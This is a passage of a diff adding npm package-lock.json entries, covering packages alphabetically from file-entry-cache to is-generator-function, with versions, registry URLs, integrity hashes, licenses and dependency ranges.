"^1.0.4" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", + "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "dev": true, + "license": "ISC" + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generate-function": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz", + "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==", + "license": "MIT", + "dependencies": { + "is-property": "^1.0.2" + } + }, + "node_modules/generator-function": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz", + "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-port-please": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/get-port-please/-/get-port-please-3.2.0.tgz", + "integrity": "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A==", + "license": "MIT" + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-symbol-description": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-tsconfig": { + "version": "4.13.6", + "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.13.6.tgz", + "integrity": "sha512-shZT/QMiSHc/YBLxxOkMtgSid5HFoauqCE3/exfsEcwg1WkeqjG+V40yBbBrsD+jW2HDXcs28xOfcbm2jI8Ddw==", + "dev": true, + "license": "MIT", + "dependencies": { + "resolve-pkg-maps": "^1.0.0" + }, + "funding": { + "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1" + } + }, + "node_modules/giget": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/giget/-/giget-2.0.0.tgz", + "integrity": "sha512-L5bGsVkxJbJgdnwyuheIunkGatUF/zssUoxxjACCseZYAVbaqdh9Tsmmlkl8vYan09H7sbvKt4pS8GqKLBrEzA==", + "license": "MIT", + "dependencies": { + "citty": "^0.1.6", + "consola": "^3.4.0", + "defu": "^6.1.4", + "node-fetch-native": "^1.6.6", + "nypm": "^0.6.0", + "pathe": "^2.0.3" + }, + "bin": { + "giget": "dist/cli.mjs" + } + }, + "node_modules/glob": { + "version": "10.3.10", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.10.tgz", + "integrity": "sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^2.3.5", + "minimatch": "^9.0.1", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0", + "path-scurry": "^1.10.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/grammex": { + "version": "3.1.12", + "resolved": "https://registry.npmjs.org/grammex/-/grammex-3.1.12.tgz", + "integrity": "sha512-6ufJOsSA7LcQehIJNCO7HIBykfM7DXQual0Ny780/DEcJIpBlHRvcqEBWGPYd7hrXL2GJ3oJI1MIhaXjWmLQOQ==", + "license": "MIT" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true, + "license": "MIT" + }, + "node_modules/graphmatch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/graphmatch/-/graphmatch-1.1.1.tgz", + "integrity": "sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg==", + "license": "MIT" + }, + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hono": { + "version": "4.11.4", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.11.4.tgz", + "integrity": "sha512-U7tt8JsyrxSRKspfhtLET79pU8K+tInj5QZXs1jSugO1Vq5dFj3kmZsRldo29mTBfcjDRVRXrEZ6LS63Cog9ZA==", + "license": "MIT", + "engines": { + "node": ">=16.9.0" + } + }, + "node_modules/http-status-codes": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/http-status-codes/-/http-status-codes-2.3.0.tgz", + "integrity": "sha512-RJ8XvFvpPM/Dmc5SV+dC4y5PCeOhT3x1Hq0NU3rjGeg5a/CqlhZ7uudknPwZFz4aeAXDcbAyaeP7GAo9lvngtA==", + "license": "MIT" + }, + "node_modules/iconv-lite": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", + "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-bigints": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bun-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-bun-module/-/is-bun-module-2.0.0.tgz", + "integrity": "sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.7.1" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", + "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==", + "dev": true, + "license": "MIT", + "dependencies": { + 